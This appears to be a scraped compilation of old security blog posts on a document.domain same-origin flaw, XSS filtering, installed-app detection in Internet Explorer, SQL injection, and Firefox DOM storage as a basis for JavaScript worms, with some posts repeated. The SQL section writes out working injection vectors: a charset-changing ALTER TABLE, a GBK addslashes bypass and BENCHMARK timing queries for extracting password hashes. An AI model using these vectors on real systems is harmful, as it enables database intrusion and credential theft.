Gareth Heyes contacted me with a few ideas regarding the same origin policy. Next thing I knew he send me a few working exploits. Pretty shocked by it, we discussed this some more. I have been reading about the same origin policy in browsers, but I never got around to look at it more properly.
I knew there was a feature that can be modified in a document: document.domain
This sets the domain for the document. Obviously it is not allowed by browsers to set a domain that is outside the document's location itself. I cannot set it to Google.com for instance because the browser does not permits it. But, Gareth showed me that the document.domain can be overwritten in Safari and Microsoft Internet Explorer in such away it is possible to modify the document.domain to another.
# The same origin policy works like this:
http://store.company.com/dir2/other.html => Success
http://store.company.com/dir/inner/another.html =>Success
https://store.company.com/secure.html =>Failure => Different protocol
http://store.company.com:81/dir/etc.htm => Failure => Different port
http://news.company.com/dir/other.html => Failure => Different host
There is one exception to the same origin rule. A script can set the value of document.domain to a suffix of the current domain. If it does so, the shorter domain is used for subsequent origin checks.
Here is the proof of concept by Gareth Heyes.
The script below overwrites the document.domain property which is a real browser flaw.
This shows the pitfalls of browser security and how hard it is to secure everything. For now only Microsoft Internet explorer and Safari have been found vulnerable to overwriting the document.domain property.
So they patched that last XSS hole, or did they? Come on Cenzic! I might be a pain in the ass here but remember one thing: Don't dynamically strip input or rewrite input, because the XSS possibilities are countless. Just encode the data to it's html entities and be released out of this misery, it takes about 15 seconds to patch it for good. Next time I ask money.
Gareth Heyes contacted me with a few ideas regarding the same origin policy. Next thing I knew he send me a few working exploits. Pretty shocked by it, we discussed this some more. I have been reading about the same origin policy in browsers, but I never got around to look at it more properly.
I knew there was a feature that can be modified in a document: document.domain
This sets the domain for the document. Obviously it is not allowed by browsers to set a domain that is outside the document's location itself. I cannot set it to Google.com for instance because the browser does not permits it. But, Gareth showed me that the document.domain can be overwritten in Safari and Microsoft Internet Explorer in such away it is possible to modify the document.domain to another.
# The same origin policy works like this:
http://store.company.com/dir2/other.html => Success
http://store.company.com/dir/inner/another.html =>Success
https://store.company.com/secure.html =>Failure => Different protocol
http://store.company.com:81/dir/etc.htm => Failure => Different port
http://news.company.com/dir/other.html => Failure => Different host
There is one exception to the same origin rule. A script can set the value of document.domain to a suffix of the current domain. If it does so, the shorter domain is used for subsequent origin checks.
Here is the proof of concept by Gareth Heyes.
The script below overwrites the document.domain property which is a real browser flaw.
This shows the pitfalls of browser security and how hard it is to secure everything. For now only Microsoft Internet explorer and Safari have been found vulnerable to overwriting the document.domain property.
Ah another new feature! that is how I'm going to call it from now on. HTML 5.0 brings some great insecure stuff to the table. Like I showed you before, DOM Storage, Global storage in Firefox, and according to their plans also Cross DOM Access. Or as they call it: Cross Document Messaging. Just what we need... here is an idea: Let's send messages between pages! I can go whine here again, but I think it's better you take a look yourself. It is actually funny stuff, It seems only the Opera browser supports it yet.
So I promised to submit my .htaccess on several places. Here it is. It is way too big to post as text here, so I copied it to a text file instead. See the link below:
I've always wanted to write about this but always forgot. I have many things to talk about, but this time I thought it would be nice to cover the browser client caps in Internet Explorer. I had a few browser detection scripts which could detect a lot, but mainly in Firefox. I knew that Internet explorer has a similar detection system but that it worked quite differently than Mozilla Firefox. So I wrote a script that does just that, detecting system info. And as a bonus it also detects installed apps for free.
var apps = Array('Address Book',
'Windows Desktop Update NT','DirectAnimation',
'DirectAnimation Java Classes','DirectShow',
'Dynamic HTML Data Binding','Dynamic HTML Data Binding for Java',
'Internet Connection Wizard','Internet Explorer 5 Browser',
'Internet Explorer Classes for Java','Internet Explorer Help',
'Internet Explorer Help Engine','Windows Media Player',
'NetMeeting NT','Offline Browsing Pack',
'Outlook Express','Task Scheduler',
'Microsoft virtual machine');
I've been busy this week with some new SQL injection ideas. One of them was to change the charset dynamically upon injection. This is a little tricky, but could turn out to be critical to bypass certain restrictions. If any, it is also useful to refine an injection.
The principle is simple: normally every column has a charset that has been set by the SQL administrator. Most of the time it is a default charset. But sometimes we need to have a another charset.
We can change the charset by injecting this vector:
ALTER TABLE `test` CHANGE `password` `password` VARCHAR(255) CHARACTER SET gbk COLLATE gbk_chinese_ci NOT NULL
Notice that the backticks are not really needed:
ALTER TABLE test CHANGE password password VARCHAR(255) CHARACTER SET gbk COLLATE gbk_chinese_ci NOT NULL
We now changed the charset to GBK CHINESE. You might wonder why we changed it to GBK Chinese. This has to do with bypassing addslashes, the PHP function addslashes is vulnerable to multibyte encoding but that is only possible if the database utilizes a multibyte charset, like GBK Chinese or BIG 5.
It works like this:
The vector: 0xbf27 admin 0xbf27
this becomes: ¿'admin¿'
then parsed as: 'admin'
In GBK, 0xbf27 is not a valid multi-byte character, but 0xbf5c is. Interpreted as single-byte characters, 0xbf27 is 0xbf (¿) followed by 0x27 ('), and 0xbf5c is 0xbf (¿) followed by 0x5c ().
Johan Adriaans contacted me through email, and gave me a few more SQL vectors to add on my cheat sheet. These are pretty interesting because they give an alternative way of approaching the same attacks. Which could be useful to stay under the radar, or if some vectors are not possible.
Alternative way of extracting hashes.
Normally we would use SUBSTRING() to select upon hashes, but it also is possible to use normal operators to select upon them. Like these examples I modified to work in a real SQL injection:
SELECT IF(password > '1', BENCHMARK(1000000,MD5('x')),null) FROM test
SELECT IF(password > '09', BENCHMARK(1000000,MD5('x')),null) FROM test
SELECT IF(password > '09a', BENCHMARK(1000000,MD5('x')),null) FROM test
Using LOAD_FILE to scan PHP files.
This one is really interesting because of the creative approach to extract database login from PHP files by loading the PHP files right into the SQL layer and using SUBSTRING to select a string to match:
Mozilla Firefox has some very disturbing new features on board, I checked them out and did some test rounds with them. And to be honest: these features lay the blueprint for Javascript worms. It starts with simple reconnaissance techniques to see if a user is online or not, to full DOM storage which is capable of storing whatever we please. Some parts are even cross domain accessible. I am not sure what Mozilla is thinking here, but this is horrible for security. MSIE has a similar system, but Mozillas version beats all odds. I rather hoped they would back down a little more with all the features, and implement things like HTTPOnlyCookies more properly. Instead they are making it a jungle and a playground for XSS 2.0 and giving ground to real Javascript worm distribution. And I didn't even touch CSRF here. I'm really speechless...
Update: I added the functionalities in my new XSS c.q. worm attack API called: Red dragon which I'm working on. It is far from complete but here is a preview: reddragon.js
Simply check if a user is online, could be usefull in Javascript worms:
if(navigator.onLine) {
alert('Yes user is online');
}
SessionStorage
This is a global object (sessionStorage) that maintains a storage area that's available for the duration of the page session. A page session lasts for as long as the browser is open and survives over page reloads and restores. Opening a page in a new tab or window will cause a new session to be initiated.
Save data to a the current session's store
sessionStorage.username = "John";
Access some stored data
alert( "username = " + sessionStorage.username );
Persistent data
Persistent data storage allows us to fetch the data we inserted into the DOM storage:
- On page refresh
- On a browser crash.
Starting in Firefox 2 but mainly in Firefox 3, the browser is fully capable of restoring this sessiondata after a crash. This is interesting because we could on purposely crash a window and inject sessiondata to make it an persistent denial of service, or just inject Anything we want for later use across pages. This could be used to store Javascript worms very effectively.
Mario showed a neatly crafted XSS code injection on Apple's website. After analyzing what Apple does there, they seem to make the obvious mistake by only filtering on the words like: <script> and such. As we know this is no barrier for the XSS die-hards, because a lot of other vectors are possible. A quick peek learned me that Apple also has SQL injection issues. Then I got bored and wrote a blog item about it, that's how things work around here.
This next snippet may sound n00b simple, but I'm actually amazed that browsers let me read out the history length these days. I never actually tried it out since maybe 4 years because I always figured it was blocked nowadays, wrong. The history length in browsers are only set when page history is set to be remembered. So I thought about using this to determine if someone has enabled page history yes or no. Which is good reconnaissance because we now can base attacks on this info without a lot of analyzing and testing with the CSS browser history test. It's a small one, and I am still thinking of more ways to abuse this info. Anyway, it could come in handy someday.
